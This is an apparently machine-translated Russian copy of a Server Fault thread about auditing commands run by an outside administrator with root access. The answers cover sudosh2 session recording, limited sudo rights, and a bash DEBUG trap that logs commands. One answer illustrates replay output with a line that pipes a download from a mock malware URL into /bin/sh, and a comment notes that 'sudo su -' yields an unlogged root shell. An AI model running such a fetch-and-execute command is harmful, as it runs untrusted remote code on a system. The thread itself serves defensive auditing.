Журнал каждой команды, выполненной из корня

16

Я хочу предоставить доступ к своему корневому серверу внешнему системному администратору, но я хочу убедиться, что дважды проверил, что он делает с моим сервером, например, копирует данные, которые я не хочу, чтобы они делали, и так далее. Я также хотел бы отследить любой доступ к файлу, даже в режиме только для чтения и без редактирования.

Как я могу это сделать?

cedivad
источник
1
См. Этот связанный вопрос: serverfault.com/questions/181131/… ?
Стефан Ласевский

Ответы:

21

Доверяй, но проверяй!

Проверьте sudosh2 . sudosh2 предоставляется портами FreeBSD. Пакеты доступны для RedHat и Ubuntu. Вот описание с их сайта:

sudosh - это фильтр оболочки аудита, который можно использовать как оболочку входа в систему. Sudosh записывает все нажатия клавиш и вывод и может воспроизводить сеанс так же, как видеомагнитофон.

Sudosh позволит вам воспроизвести сеанс пользователя, что позволит вам видеть весь ввод и вывод так, как его видел пользователь. Вы видите все, нажатия клавиш, опечатки, возвраты, что они редактировали vi, вывод wget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/shи т. Д.

Можно отправлять журналы sudosh в syslog, чтобы они могли храниться на центральном сервере syslog вне системы.

Обратите внимание, что sudosh2 является заменой sudosh, который был оставлен его автором.

Работаете ли вы в академическом учреждении, где пользователи настаивают на привилегиях суперпользователя? Или вы работаете в корпорации и хотите, чтобы пользователи имели привилегии суперпользователя на своих виртуальных машинах? Это может быть решением для вас.

Стефан Ласевский
источник
1
Отлично - раньше я не слышал о судошах.
EEAA
2
О каком «видеомагнитофоне» ты говоришь?
Том Мартинал
2
Это как 8 треков, но вы можете записывать свои собственные телевизионные шоу!
Стефан Ласевский
22

Не давайте ему root-доступ. Вместо этого, дайте ему учетную запись непривилегированного пользователя и попросите, чтобы он выполнил всю свою работу sudo, которая будет регистрировать все его команды.

Имейте в виде , что , если этот человек имеет пагубные намерения и вы даете ему полные права SUDO, он будет найти способ , чтобы осуществить эти недобрые намерения , не те команды , которые вошли. В этом случае, только предоставьте ему доступ к определенным командам, которые ему необходимы для выполнения его работы.

EEAA
источник
Я хочу сделать это как можно сложнее, не делая мою жизнь мучительной. Спасибо за ответ.
Седивад
Вы можете просто запустить sudo su -и получить корневую оболочку, которая не будет зарегистрирована (за исключением того, что вы ее запустили). Это то, что я обычно печатаю, когда хочу выполнить более одной команды от имени root за один раз, или если я хочу завершить вкладку в каталогах, которые обычные пользователи не могут прочитать.
rjmunro
@ rjmunro - Именно поэтому я дал предупреждение, предоставив ему только тот доступ, который ему нужен. Вы можете явно запретить sudo su -при желании.
EEAA
1

Я не знаком с sudosh2, но я поместил в свой файл следующее, .bashrcчтобы записать bashв файл все команды, которые я набираю в оболочке ~/.command_log:

# log every command typed and when
if [ -n "${BASH_VERSION}" ]; then
    trap "caller >/dev/null || \
printf '%s\\n' \"\$(date '+%Y-%m-%dT%H:%M:%S%z')\
 \$(tty) \${BASH_COMMAND}\" 2>/dev/null >>~/.command_log" DEBUG
fi

Вышеуказанное устанавливает ловушку DEBUG, которая выполняется непосредственно перед выполнением обычной команды. callerВстроенный используются для тестирования ли команда в настоящее время , набранные в интерактивной оболочке или запустить через что - то подобное .bashrc. Значение ${BASH_COMMAND}содержит команду, которая выполняется в данный момент.

Ричард Хансен
источник